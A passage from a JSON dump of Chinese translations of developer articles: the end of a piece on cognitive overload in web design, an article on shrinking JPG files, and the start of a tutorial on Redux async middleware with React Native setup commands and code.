希望拥有比新用户更多的老用户，而且特意把登录按钮放在抓人眼球的空白背景上来满足老用户的需要。\n\n### 7\\. 内部矛盾\n\n再来说说一个网站的主页使用标准的蓝色和下划线的文本来表示一个链接，但另一个页面只使用蓝色却没有下划线的情况。即使用户并没触发第一个链接，他们也可能会在第二个页面那里停下来想：“这里没下划线啊，是链接吗？” 他们可能并不在意这个环节，但这个前后不一致造成影响的瞬间就破坏了整体的体验。\n\n拼写和语法错误带来的影响也是一样的。记住：最好的用户体验是看不见的，但错误总会被察觉。\n\n一个元素是否与网站的其他部分，与其他网站（不太对的时候，比如界面样式）或与用户的语言和语法知识不一致都没关系。在这些情况下，用户必须花时间来思考和处理，而这又耗费了工作记忆。\n\n[![SIPhawaii](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image26.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image26-large-opt.png)[](#115)\n\n(Image: [SIPhawaii](https://siphawaii.com/)[](#116)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image26-large-opt.png)[](#117))\n\n\n\nSIPhawaii 是大写、字体大小和价格数字的集中地。你甚至都不想知道在点了汉堡按钮之后会发生什么事情——我只能说，它肯定和其它网站的汉堡按钮长得不一样！\n\n#### 解决方案\n\n整个网站保持格式一致。这事做起来可没有说的那么简单，因为这种错误往往是在无意中犯下的。\n\n一份保持一致性的**风格指南会发挥奇效**。它收集了全球所有的设计决策，当设计师需要的时候可以很方便的快速访问。如背景颜色的代码值，图像的尺寸或字体的标题这类细节很容易被遗忘，所以使他们随时可用会很有帮助。\n\n[![Lonely Planet](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image23.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image23-large-opt.png)[](#118)\n\n(Image: [Lonely Planet](https://rizzo.lonelyplanet.com/styleguide/design-elements/colours)[](#119)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image23-large-opt.png)[](#120))\n\n\n\n关于建立风格指南的更多信息，请阅读我们在创建中的[深入概述](https://www.smashingmagazine.com/2015/04/an-in-depth-overview-of-living-style-guide-tools/)[](#121)和[实例分析](https://www.smashingmagazine.com/2016/05/creating-a-living-style-guide-case-study/)[](#122)。\n\n至于拼写错误和语法错误，**不要只依赖拼写检查**。永远在发布之前再过一遍你的内容。免费应用 [Grammarly](https://app.grammarly.com/)[](#123) 可以帮你指出那些很难看出的错误。\n\n视觉和功能一致这方面一个很好的例子是 [Pinterest](https://www.pinterest.com/)[](#126)[](#124)。不管在你的推送中的图片是什么风格，样式都是一致的。\n\n[![Pinterest](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image7.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image7-large-opt.png)[](#125)\n\n(Image: [Pinterest](https://www.pinterest.com/)[](#126)[](#124)) ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2016/08/cognitive-overload-image7-large-opt.png)[](#127))\n\n\n\n标题，描述，作者，网站，Pins 和活动在同一位置的每一张卡片上都显示同样的文本大小和排版。这给 Pinterest 带来了交错的视觉吸引力，也没有让用户感到困惑。只要你明白了一张卡片，那你就弄明白了所有东西。\n\n### 再说两句\n\nSteve Krug 那句著名的口号“别让我思考” 或多或少也是用户在体验上的呐喊。好的用户体验设计是流畅的。任何碰撞的方式-如认知过载-将拖累整个航程。设计师要抓住任何机会满足他们的用户，所以不要让用户思考任何非必需的事情。\n\n这一下子说的有点多了吧？这里再来几句总结好了，别让你认知过载：\n\n*   认知负荷即工作记忆所消耗的信息。认知过载即过多的信息影响到了决策和一般经验。 \n*   通过一系列的内容类型和结构化的页面组合来避免视觉上的混乱。\n*   隐藏菜单可以帮助用户管理同时可选择的项的数量，但有发现成本。\n*   如组块化和步骤拆分的小技巧可以防止认知过载。\n*   可辨认的UI元素和复用元素调用的是户现有的知识，所以他们不用怎么思考。新的和独特的功能，可以通过新手指南来讲解。\n*   在你的用户实际上如何思考的基础之上建立你的信息架构。像卡片分拣和树测试这种可用性测试手段可以为你的目标群体提供最直观的指导方案。\n*   在视觉效果和功能上的不一致，以及拼写错误和语法错误，都是会分散用户注意力的罪魁祸首。\n*   尽可能消除冗余。还有，在怎么减少用户需要做的步骤以及减轻他们所需要花费的努力上也要多多留意。\n\n(顺便，斯芬克斯谜语的谜底是 “人”: 婴儿的时候爬着走，成年之后直立行走，老年的时候拄个拐杖。)\n\n### 扩展阅读\n\n*   “[Cognitive Load Theory, Learning Difficulty, and Instructional Design](http://www.realtechsupport.org/UB/I2C/Sweller_CognitiveLoadTheory_1994.pdf)[](#128)[](#5)” (PDF), John Sweller  \n    这是 Sweller 的教学设计发展研究的论文原文。有点偏学术，但很好地解释了人类思维和记忆的内部过程。  \n\n*   [_Don’t Make Me Think_](https://www.amazon.com/Dont-Make-Think-Revisited-Usability/dp/0321965515)[](#129)[](#19), Steve Krug  \n    这是最先开始讲述如何将认知负荷的科学原理应用到网页设计中的那本书。  \n\n*   “[The Magical Number Seven, Plus or Minus Two: Some Limits on Our Capacity for Processing Information](http://www.psych.utoronto.ca/users/peterson/psy430s2001/Miller%20GA%20Magical%20Seven%20Psych%20Review%201955.pdf)[](#130)” (PDF) George A. Miller  \n    只要你不去纠结于字面(理论已被揭穿的[网页设计](http://uxmyths.com/post/931925744/myth-23-choices-should-always-be-limited-to-seven)[](#131)), 这篇论文对人们如何思考和人类记忆的局限性都提供了有益的见解。this scientific paper offers beneficial insight into how people think and the limits of human memory.  \n\n*   [_100 Things Every Designer Needs to Know About People_](https://www.amazon.com/Things-Designer-People-Voices-Matter/dp/0321767535/)[](#132), Susan Weinschenk  \n    如果你想弄清楚你的用户都在想什么的话，这个前行为心理学家对人类的思维模式提出了一些见解，设计师们可以直接应用。\n"
  },
  {
    "path": "TODO/reducing-jpg-file-size.md",
    "content": ">* 原文链接 : [Reducing JPG File size](https://medium.com/@duhroach/reducing-jpg-file-size-e5b27df3257c#.l67l1mxg8)\n* 原文作者 : [Colt McAnlis](https://medium.com/@duhroach)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [SHENXN](https://github.com/shenxn)\n* 校对者: [Galen](https://github.com/galenyuan), [Hugo Xie](https://github.com/xcc3641)\n\n# 减少 JPG 文件大小\n\n![](https://cdn-images-1.medium.com/max/2000/1*sRYE2_-ROxbzz1y1s4M9GQ.png)\n\n\n如果你是一个现代的开发者，无论你是网站开发、移动开发、还是一些奇怪的系统管理程序，你一定会使用 JPG 文件。JPG 是你工作的一部分，并且对于用户体验有着极其重要的作用。\n\n为什么让 JPG 文件尽量小这么重要呢？由于 [当今平均网页体积与一个毁灭战士游戏（译者注：一款经典网络游戏）相当](http://www.wired.com/2016/04/average-webpage-now-size-original-doom/)，你应该自问页面上那么多字节都是从哪里来的，怎样做才能尽量削减它们（我不想从移动应用的大小开始讲）。\n\n虽然 [JPG 压缩令人印象深刻](https://medium.freecodecamp.com/how-jpg-works-a4dbd2316f35#.z4lekhosw)，但是如何进行压缩将会极大地影响文件的体积。因此我总结了一些能帮助你最大程度减小文件体积并增强用户体验的技巧。\n\n### 你应该使用一个优化工具\n\n当你开始看 [JPG 压缩方法](https://medium.freecodecamp.com/how-jpg-works-a4dbd2316f35)，以及 [文件格式](https://en.wikipedia.org/wiki/JPEG)，你会开始意识到，和 [PNG 文件](https://medium.com/@duhroach/reducing-png-file-size-8473480d0476)一样，JPG 文件在体积上有很大的改进空间。举个例子，你可以尝试比较用 Photoshop 直接保存的 JPG 文件和用 “储存为 web 所用格式“ 导出的文件之间的大小差异：\n\n![](https://cdn-images-1.medium.com/max/800/1*vZF5gbyfYtDskdRr1MTZXA.png)\n\n一个_简单的红色正方形_图片减少了大约90%的体积。和 PNG 一样，JPG 同样支持一些[数据块](https://en.wikipedia.org/wiki/JPEG#Syntax_and_structure)，这就意味着图片编辑器或是相机能够[插入非图片信息](http://dev.exiv2.org/projects/exiv2/wiki/The_Metadata_in_JPEG_files)。这就是为什么你的图片分享服务知道你在哪里[吃的最后一个华夫饼](https://www.instagram.com/bestfoodaustin/)，以及你使用什么相机[拍下了这张照片](https://exposingtheinvisible.org/resources/obtaining-evidence/image-digging)。如果你的应用程序不需要这些额外的信息，那直接从 JPG 文件中移除它们就能显著改善文件的体积。\n\n然而事实上，你可以在文件格式上[做更多](http://www.elektronik.htw-aalen.de/packjpg/_notes/PCS2007_PJPG_paper_final.pdf)。\n\n对于初学者而言，你可以使用一些像 [JPEGMini](http://www.jpegmini.com/) 的工具，在不过度影响图片保真度的情况下进行低质量压缩，就像是 Mozilla 的 [MOZJpeg](https://github.com/mozilla/mozjpeg/)（虽然 Mozilla 申明了他们的项目可能会影响兼容性）。\n\n另外，[jpegTran/cjpeg](http://jpegclub.org/) 试图提供无损的体积优化。而 [packJPG](http://www.elektronik.htw-aalen.de/packjpg/) 会用一种更小的形式重新打包 JPG 数据，虽然这已经是一种不同的文件格式了，并且不再与 JPG 兼容（但如果你能在客户端自己对文件进行解析，就会非常方便）。\n\n此外，还有一大堆基于网页的工具，但是我还没有找到能比我列出来的这些工具更好用的（事实上，大多数这些基于网页的工具在后端都只是使用了上述工具）。当然 [ImageMagick](http://www.imagemagick.org/script/index.php) 有它自己的 [特性](http://www.imagemagick.org/script/mogrify.php)。\n\n使用这些工具通常可以帮助你减少大约 15% 到 24% 的文件体积，这对于这样小的投入来说已经是一个非常不错的改进了。\n\n### 寻找最理想的质量值\n\n首先要声明的是：你永远都不应该把 JPG 文件的质量值设置为 100。\n\nJPG 文件的魅力在于你能够使用一个标量来调节图片的质量与文件大小的比例。问题在于你应该如何找到图片的_正确_质量值。随意给你一张图片，你应该如何确定最理想的设置？\n\n正如 [imgmin](https://github.com/rflynn/imgmin) 所指出的，75 到 100 的 JPG 压缩等级只会给用户带去非常小的可感知的变化。\n\n> _JPEG 文件的质量值在 100 到 75 之间变化通常只会对图片质量造成非常微小的、很不明显的改变，但是却能显著减小文件的尺寸。也就是说许多图片在 75 的质量值时看起来依然很好，但却只有 95 质量值时一半的文件大小。当质量值减小到 75 以下时，造成的视觉上的差异会扩大，而文件尺寸的节约会减少。_\n\n因此，75 的质量值显然是一个很好的初始状态。但是我们有一个更大的问题：我们不希望去手工设定每张图片的质量值。\n\n对于那些每天上传和转发成千上万 JPG 文件的媒体应用来说，你不能期望某个人去手工调节所有图片的参数。因此，大多数开发者会创建多组质量参数，并且依赖这些参数组来压缩它们的图片。\n\n比如说，缩略图的质量值可能是 35，因为更小的图片通常能掩盖更多的压缩损坏。而一个全屏的图片也许又有一个不同的参数来用作音乐专辑的封面等等。\n\n你可以看到这样的方法存在于整个领域中：[imgmin](https://github.com/rflynn/imgmin) 项目进一步地显示了大多数的大型网站都倾向于将他们 JPG 图片的质量值设置在 75 上下波动。\n\nGoogle 图片 缩略图: 74–76  \nFacebook 全尺寸图片: 85  \nYahoo 首页 JPG: 69–91  \nYouTube 首页 JPG: 70–82  \nWikipedia 图片: 80  \nWindows 动态背景: 82  \nTwitter 用户 JPEG 图片: 30–100\n\n**这里的问题是选取的值不完美**\n\n通常凭空选取一个质量值并应用到整个系统中，会导致一些图片能在损失极小质量的情况下被进一步压缩，而另一些图片则由于过度压缩而看起来不那么好。质量值应该是可变的，应该为每一张图片寻找其最理想的参数。\n\n**如果**有一种方法可以测出压缩对图片的破坏程度呢？\n**如果**你可以通过一个质量标准来判定当前的质量值是否最佳呢？\n**如果**你可以在服务器上自动运行上述两项任务呢？\n\n**有**这样的方法。\n**可以**判定。\n**能够**自动运行。\n\n这都要从[精神性视觉误差阈值 - Psychovisual Error Threshold](http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=6530010&url=http%3A%2F%2Fieeexplore.ieee.org%2Fiel7%2F6523355%2F6529997%2F06530010.pdf%3Farnumber%3D6530010) 说起，这个阈值指示了在人类的眼睛可以察觉之前，一张图片最多可以下降多少质量。\n\n这个阈值有一些测量方法，尤其是 [PSNR](https://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio) 和 [SSIM](https://en.wikipedia.org/wiki/Structural_similarity) 标准。每一个标准在进行测量时有一些细微差别，这就是为什么我更喜欢最新的 [Butteraugli](http://goo.gl/1ehQOi) 项目。在使用一个图片库进行测试后，我发现这种标准在视觉质量方面对我来说更容易理解。\n\n为了实现，你需要写一个简单的脚本来：\n\n*   将一个 JPG 文件保存为多个不同质量值的版本\n*   使用 [Butteraugli](http://goo.gl/1ehQOi) 来测定它们的 [精神性视觉误差阈值](http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=6530010&url=http%3A%2F%2Fieeexplore.ieee.org%2Fiel7%2F6523355%2F6529997%2F06530010.pdf%3Farnumber%3D6530010)\n*   当输出值大于 1.1 时停止\n*   使用当前的质量值来储存最终的图片\n\n最终的结果将是在不引入过大的精神性视觉误差阈值（不造成易被察觉的视觉改变）的情况下最小的 JPG 文件。如下图片的体积缩减了 170k，但是视觉上看起来仍然相同。\n\n![](https://cdn-images-1.medium.com/max/800/1*QCVqIL_ueQju40gyJGXodg.png)\n\n当然，你还可以进一步压缩。也许你的目标是允许更多的视觉损失来节省带宽，你可以很容易继续压缩，但这样有些疯狂。_到目前为止_，[Butteraugli](http://goo.gl/1ehQOi) 认为任何高于 1.1 的结果都是“难看”的并且没有试图用一个权威的数值来定义这些图片看起来究竟是怎么样的。所以你当然可以在输出值到达 2.0 时（如下图）停止脚本，但是到那时，你将难以确定你的图片到底处于一种怎样的视觉程度上。\n\n![](https://cdn-images-1.medium.com/max/800/1*5yfAv-aFdneBAZywSUZ1Ag.png)\n\n### 模糊色度\n\n人的眼睛在 [YCbCr](https://en.wikipedia.org/wiki/YCbCr) 颜色通道的图片上对于视觉改变有更好的理解能力，因此可以假设在一个 8 x 8 的块上没有太多的视觉变化。而 JPG 如此强大的一个原因是，如果你能在 8 x 8 的块上减少色度的变化，你就能更少地影响图片的质量，同时更好地进行压缩。最简单的方法就是在颜色通道上高对比度的区域内进行中值过滤。样例如下。\n\n![](https://cdn-images-1.medium.com/max/800/1*kxVa2DEkM048to6UnUYCfA.png)\n\n大多数图片编辑软件都不支持 [YCbCr](https://en.wikipedia.org/wiki/YCbCr) 色彩空间，一个小技巧是它们大多支持 [LAB](https://en.wikipedia.org/wiki/Lab_color_space)。L 通道代表亮度（与 Y 通道类似），而 A 通道和 B 通道代表 红/绿色 以及 蓝/黄色，与 Cb、Cr 通道类似。将你的图片转换到 LAB 格式，你将可以看到下列通道：\n\n![](https://cdn-images-1.medium.com/max/800/1*VwKrI76p9IsLWhJmPQaD6Q.jpeg)\n\n我们需要做的就是消除 A/B 通道中颜色的急剧转换。这样做可以给合成器更多的相似值。我们可以选中图片中的高细节区域，并应用 1-3 个像素的模糊。最终的结果将会明显消除图像中的部分信息，但是却不会过多地影响图片的整体视觉效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*BGquAMZw-oEEj5IH-xJEhw.jpeg)\n\n<figcaption class=\"imageCaption\">左边我们可以看到 Photoshop 中的选框（我们选择了图中的房屋背景），而右边是模糊操作的结果。</figcaption>\n\n这样做的重点是，通过在图片的 A/B 模式上进行细微的模糊操作，我们可以减少这些通道中的视觉变量，这样的话，当 JPG 进行取样操作时，你的图片的 CbCr 通道中将含有更少的孤立信息。你可以在下图中看到结果。\n\n![](https://cdn-images-1.medium.com/max/800/1*sv9wBkOKWzaFIUOEiAHLLQ.png)\n\n上面的图片是我们的源文件，而下面的图片中我们模糊了部分 Cb/Cr 数据，这使得文件体积减小了大约 50%。\n\n### 考虑使用 WebP\n\n对于现在的你来说，[WebP](https://developers.google.com/speed/webp/) 不应该还是什么新闻了。我已经在之前[推荐过它](https://www.youtube.com/watch?v=1pkKMiDWwpM)，因为这真的是一个能给人留下深刻印象的编码器。[WebP 和 JPG 的对比数据](https://developers.google.com/speed/webp/docs/webp_study#introduction)显示，WebP 可以在相同 SSIM（结构相似性）指标的情况下，节省大约 **25% - 33%** 的文件体积，这对于仅仅是转换文件格式来说，已经节约了很多体积了。\n\n无论你是一个网页开发者，还是移动开发者，WebP 的支持程度和节约的空间，都给你足够的理由来使用它。\n\n### “Science the shit out of it”（译者注：出自电影《火星救援》经典台词，在此处表示用科学的方法去解决一些非常棘手的问题）\n\n[感谢 Mark](https://www.youtube.com/watch?v=d6lYeTWdYLw)，我给你寄了一些土豆，你收到的时候告诉我。(译者注：Mark 是《火星救援》的男主，这句话应该是一个电影梗）\n\n现代图片压缩过程的最大问题是，大多数工程师都只为“某一文件”进行压缩，也就是说，输入像素数据，然后输出指定格式的压缩图片。\n\n完成，然后继续其他工作。\n\n但是这事实上只做了一半。现代应用程序将图片用在不同的地方，且有着不同的用途。没有一种单一的尺寸可以适用于所有的情况，并且这也许可以影响互联网传输信息的方式。\n\n这就是为什么 [Facebook](https://code.facebook.com/posts/991252547593574/the-technology-behind-preview-photos/) 的工程师辛苦找寻一种方法来优化现有的图片压缩策略。其成果[是我互联网上最最喜欢的文章](https://code.facebook.com/posts/991252547593574/the-technology-behind-preview-photos/)，这将他们预览图片的体积减小到了每张 200 字节。\n\n![](https://cdn-images-1.medium.com/max/800/0*qFRye2GXhYIH4Vkv.)\n\n这个解决方案的魔力来源于在加载时发生的一个富有野心的模糊和缩放过程，以及对 JPG 数据头（他们能够在编码器中将其移除并进行硬编码）的深度分析。**200 字节是疯狂的。**我从 [Twitter 图像编码挑战](http://stackoverflow.com/questions/891643/twitter-image-encoding-challenge)（它证实了《蒙娜丽莎》可以通过遗传编程进行演化）之后就再也没有见过如此疯狂的事情了。这证明了仅仅在图像编码器领域内思考将会限制你在数据压缩上做出真正疯狂举动的能力。\n\n### 总结\n\n最终，你的公司需要在自动设定质量值和手动优化图片之间找到一个合适的中间点，甚至搞清楚如何进一步进行压缩。这最终可以节约你们发送和储存内容的成本，同时也可以节省用户接收这些内容的成本。\n"
  },
  {
    "path": "TODO/redux-4-ways.md",
    "content": "> * 原文地址：[Redux 4 Ways](https://medium.com/react-native-training/redux-4-ways-95a130da0cdc#.nyb3hqtgb)\n* 原文作者：本篇文章已获得作者 [Nader Dabit](https://medium.com/@dabit3?source=post_header_lockup) 授权\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[reid3290](https://github.com/reid3290)\n* 校对者：[rccoder](https://github.com/rccoder)，[xekri](https://github.com/xekri)\n\n# Redux 异步四兄弟 #\n\n## 在十分钟内实践 [Thunk](https://github.com/gaearon/redux-thunk) 、 [Saga](https://github.com/redux-saga/redux-saga) 、 [Observable](https://github.com/redux-observable/redux-observable) 以及 [Redux Promise Middleware](https://github.com/pburtchaell/redux-promise-middleware)。 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*V6i_YjJC80VVeSnYvBiL5Q.jpeg\">\n\n在上一次的 [React Native online meetup](https://github.com/knowbody/react-native-online-meetups) 活动中，笔者就 Thunk 、 Saga 以及 Redux Observable 之间的不同之处做了报告 [(点击此处获取幻灯片)](http://slides.com/dabit3/deck-11-12) 。\n\n> 上述函数库都提供了一些方法用以处理 Redux 应用中带有副作用的或者是异步的 action。更多关于为什么要用到这些库的介绍，请 [点击此处](https://github.com/markerikson/react-redux-links/blob/master/redux-side-effects.md) 。\n\n相较于仅仅是创建一个[仓库](https://github.com/dabit3/redux-4-ways)，然后查看和测试这些库的实现方法，笔者希望更进一步，即一步步地弄清这些库是如何解决异步在 Redux 中产生的副作用，并额外增加一种方案 —— [Redux Promise Middleware](https://github.com/pburtchaell/redux-promise-middleware) 。\n\n笔者第一次接触 Redux 的时候，就被这些异步的、带有副作用的函数库搞得“头昏脑胀”。 虽然相关文档还算齐全，但还是希望能够结合实际项目去深入理解这些函数库是如何解决 Redux 中的异步问题。从而快速上手，避免浪费过多时间。\n\n在本教程中，笔者将应用上述函数库，一步步地实现一个拉取数据并将数据存储在 reducer 中的简单例子。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*8PlQZYT4kGnCGZTVGtAoGg.jpeg\">\n\n如图所示，上述函数库最通用的模式之一就是发起一个 API 请求，显示加载图标，数据返回后展示结果（如果出现错误则展示错误信息）。笔者将依次使用上述 4 个函数库实现该功能。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*06R5v_0WvZNNdvPntIuWaA.gif\">\n\n### 开始 ###\n\n在本例中笔者将使用 React Native，当然使用 React 也是完全一样的 —— 只需要把 `View` 替换为 `div`, 把 `Text` 替换为 `p` 即可。 在本节中，笔者将仅仅实现一个简单的 Redux 示例应用，以展示上述 4 个函数库的用法。\n\n首先运行 react-native init 命令创建一个空项目：\n\n```\nreact-native init redux4ways \n```\n\n当然也可以使用 create-react-app:\n\n```\ncreate-react-app redux4ways\n```\n\n然后进入项目目录：\n\n```\ncd redux4ways\n```\n\n安装所需依赖：\n\n```\nyarn add redux react-redux redux-thunk redux-observable redux-saga rxjs redux-promise-middleware\n```\n\n创建将要用到的相关目录和文件：\n\n```\nmkdir reducers\n```\n\n```\ntouch reducers/index.js reducers/dataReducer.js\n```\n\n```\ntouch app.js api.js configureStore.js constants.js actions.js\n```\n\n至此，所有依赖都已安装完毕，相关文件业已新建妥当，可以着手编码开发了。\n\n首先将 `index.ios` (ios) 或 `index.android.js` (android) 中的代码更新如下： \n\n```\nimport React from 'react'\nimport {\n  AppRegistry\n} from 'react-native'\n\nimport { Provider } from 'react-redux'\nimport configureStore from './configureStore'\nimport App from './app'\n\nconst store = configureStore()\n\nconst ReduxApp = () => (\n  <Provider store={store}>\n    <App />\n  </Provider>\n)\n\n```\n1. 从 `react-redux` 中引入 `Provider`。\n2. 引入 `configureStore`，随后将创建该文件。\n3. 引入 `App` 作为本例应用中的入口组件。\n4. 调用 `configureStore()` 方法创建 store。\n5. 将 `App` 包裹在 `Provider` 中并传入上述 store。\n\n\n接着创建 actions 和 reducer 所涉及的相关常量，`constants.js` 文件内容如下：\n```\nexport const FETCHING_DATA = 'FETCHING_DATA'\nexport const FETCHING_DATA_SUCCESS = 'FETCHING_DATA_SUCCESS'\nexport const FETCHING_DATA_FAILURE = 'FETCHING_DATA_FAILURE'\n```\n\n再接着创建 `dataReducer`，`dataReducer.js` 文件内容如下：\n\n```\nimport { FETCHING_DATA, FETCHING_DATA_SUCCESS, FETCHING_DATA_FAILURE } from '../constants'\nconst initialState = {\n  data: [],\n  dataFetched: false,\n  isFetching: false,\n  error: false\n}\n\nexport default function dataReducer (state = initialState, action) {\n  switch (action.type) {\n    case FETCHING_DATA:\n      return {\n        ...state,\n        data: [],\n        isFetching: true\n      }\n    case FETCHING_DATA_SUCCESS:\n      return {\n        ...state,\n        isFetching: false,\n        data: action.data\n      }\n    case FETCHING_DATA_FAILURE:\n      return {\n        ...state,\n        isFetching: false,\n        error: true\n      }\n    default:\n      return state\n  }\n}\n```\n1. 引入相关常量。\n2. 该 reducer 的初始状态 `initialState` 是一个对象，该对象由 1 个数组 `data` 和 3 个布尔类型的变量：`dataFetched` 、`isFetching` 以及 `error` 构成。\n3. 该 reducer 负责处理 3 种类型的 actions 并相应地更新状态。例如，如果 action 的类型是 `FETCHING_DATA_SUCCESS`， 则将新数据添加到状态对象中并将 `isFetching` 设为 `false`。\n\n接下来需要创建 reducer 的入口文件，在该文件中会对所有的 reducers 调用 `combineReducers` 方法（在本例中只有一个 reducer，即 `dataReducer.js` ）。\n\n`reducers/index.js` 文件内容如下：\n```\nimport { combineReducers } from 'redux'\nimport appData from './dataReducer'\n\nconst rootReducer = combineReducers({\n    appData\n})\n\nexport default rootReducer\n```\n\n之后则需要创建相应的 actions，`actions.js` 文件内容如下： \n```\nimport { FETCHING_DATA, FETCHING_DATA_SUCCESS, FETCHING_DATA_FAILURE } from './constants'\n\nexport function getData() {\n  return {\n    type: FETCHING_DATA\n  }\n}\n\nexport function getDataSuccess(data) {\n  return {\n    type: FETCHING_DATA_SUCCESS,\n    data,\n  }\n}\n\nexport function getDataFailure() {\n  return {\n    type: FETCHING_DATA_FAILURE\n  }\n}\n\nexport function fetchData() {}\n```\n1. 引入相关常量。\n2. 定义 4 个函数，其中 3 个 （`getData`、`getDataSuccess` 和 `getDataFailure`）会直接返回 action，第 4 个（`fetchData`）则会更新一个 thunk （具体实现见下文）。\n\n接着定义 configureStore：\n```\nimport { createStore } from 'redux'\nimport app from './reducers'\n\nexport default function configureStore() {\n  let store = createStore(app)\n  return store\n}\n```\n1. 从 `./reducers` 中引入 root reducer。\n2. 暴露用以创建 store 的函数接口。\n\n最后, 对接页面 UI 并绑定相应 props：\n```\nimport React from 'react'\nimport { TouchableHighlight, View, Text, StyleSheet } from 'react-native'\n\nimport { connect } from 'react-redux'\nimport { fetchData } from './actions'\n\nlet styles\n\nconst App = (props) => {\n  const {\n    container,\n    text,\n    button,\n    buttonText\n  } = styles\n\n  return (\n    <View style={container}>\n      <Text style={text}>Redux Examples</Text>\n      <TouchableHighlight style={button}>\n        <Text style={buttonText}>Load Data</Text>\n      </TouchableHighlight>\n    </View>\n  )\n}\n\nstyles = StyleSheet.create({\n  container: {\n    marginTop: 100\n  },\n  text: {\n    textAlign: 'center'\n  },\n  button: {\n    height: 60,\n    margin: 10,\n    justifyContent: 'center',\n    alignItems: 'center',\n    backgroundColor: '#0b7eff'\n  },\n  buttonText: {\n    color: 'white'\n  }\n})\n\nfunction mapStateToProps (state) {\n  return {\n    appData: state.appData\n  }\n}\n\nfunction mapDispatchToProps (dispatch) {\n  return {\n    fetchData: () => dispatch(fetchData())\n  }\n}\n\nexport default connect(\n  mapStateToProps,\n  mapDispatchToProps\n)(App)\n```\n此处代码不言自明 —— connect 方法用于将当前 Redux store 的状态和引入的 actions 作为 props 传入目标展示性组件中，即此例中的 `App`。\n\n最后需要一个模拟的数据接口，该接口返回一个 promise，该 promise 会在 3 秒钟后 reslove，并返回相应数据。对应文件 `api.js` 内容如下：\n```\nconst people = [\n  { name: 'Nader', age: 36 },\n  { name: 'Amanda', age: 24 },\n  { name: 'Jason', age: 44 }\n]\n\nexport default () => {\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      return resolve(people)\n    }, 3000)\n  })\n}\n```\n在该文件中，首先创建一个含有人员信息的数组，然后暴露一个实现了上述模拟接口功能的方法。\n\n### Redux Thunk ###\n\n 至此，Redux 已经和 React 连接了起来，接下来引入第一个异步函数库 —— [Redux Thunk](https://github.com/gaearon/redux-thunk)。（[branch](https://github.com/dabit3/redux-4-ways/tree/thunk)）\n\n首先需要创建一个 thunk\n\n> “[Redux Thunk middleware](https://github.com/reactjs/redux/blob/master/docs/advanced/Middleware.md) 允许 action 创建函数返回一个函数而不是 action。 该中间件可以用于延迟 action 的 dispatch 过程， 或仅当满足特定条件时才 dispatch action；其内部函数接受两个参数：`dispatch` 和 `getState`。 ” —— Redux Thunk 文档\n\n在 `actions.js` 文件中，更新函数 `fetchData` 并引入 api:\n```\nimport { FETCHING_DATA, FETCHING_DATA_SUCCESS, FETCHING_DATA_FAILURE } from './constants'\nimport getPeople from './api'\n\nexport function getData() {\n  return {\n    type: FETCHING_DATA\n  }\n}\n\nexport function getDataSuccess(data) {\n  return {\n    type: FETCHING_DATA_SUCCESS,\n    data,\n  }\n}\n\nexport function getDataFailure() {\n  return {\n    type: FETCHING_DATA_FAILURE\n  }\n}\n\nexport function fetchData() {\n  return (dispatch) => {\n    dispatch(getData())\n    getPeople()\n      .then((data) => {\n        dispatch(getDataSuccess(data))\n      })\n      .catch((err) => console.log('err:', err))\n  }\n}\nview raw\n```\n\n此处 `fetchData` 函数是一个 thunk。当被调用时，fetchData 会返回一个函数；该函数首先会 dispatch `getData` action，然后调用 `getPeople`，在 `getPeople` 返回的 promise reslove 之后，会 dispatch `getDataSuccess` action。\n\n接下来，需要更新 `configureStore` 函数以引入 thunk 中间件：\n\n```\nimport { createStore, applyMiddleware } from 'redux'\nimport app from './reducers'\nimport thunk from 'redux-thunk'\n\nexport default function configureStore() {\n  let store = createStore(app, applyMiddleware(thunk))\n  return store\n}\n```\n\n1. 从 `redux` 引入 applyMiddleware。\n2. 从 `redux-thunk` 引入 `thunk`。\n3. 将 `applyMiddleware` 作为第二个参数传递给函数 `createStore`。\n\n最后，更新 `app.js` 文件来使用上述 thunk：\n```\n\nimport React from 'react'\nimport { TouchableHighlight, View, Text, StyleSheet } from 'react-native'\n\nimport { connect } from 'react-redux'\nimport { fetchData } from './actions'\n\nlet styles\n\nconst App = (props) => {\n  const {\n    container,\n    text,\n    button,\n    buttonText,\n    mainContent\n  } = styles\n\n  return (\n    <View style={container}>\n      <Text style={text}>Redux Examples</Text>\n      <TouchableHighlight style={button} onPress={() => props.fetchData()}>\n        <Text style={buttonText}>Load Data</Text>\n      </TouchableHighlight>\n      <View style={mainContent}>\n      {\n        props.appData.isFetching && <Text>Loading</Text>\n      }\n      {\n        props.appData.data.length ? (\n          props.appData.data.map((person, i) => {\n            return <View key={i} >\n              <Text>Name: {person.name}</Text>\n              <Text>Age: {person.age}</Text>\n            </View>\n          })\n        ) : null\n      }\n      </View>\n    </View>\n  )\n}\n\nstyles = StyleSheet.create({\n  container: {\n    marginTop: 100\n  },\n  text: {\n    textAlign: 'center'\n  },\n  button: {\n    height: 60,\n    margin: 10,\n    justifyContent: 'center',\n    alignItems: 'center',\n    backgroundColor: '#0b7eff'\n  },\n  buttonText: {\n    color: 'white'\n  },\n  mainContent: {\n    margin: 10,\n  }\n})\n\nfunction mapStateToProps (state) {\n  return {\n    appData: state.appData\n  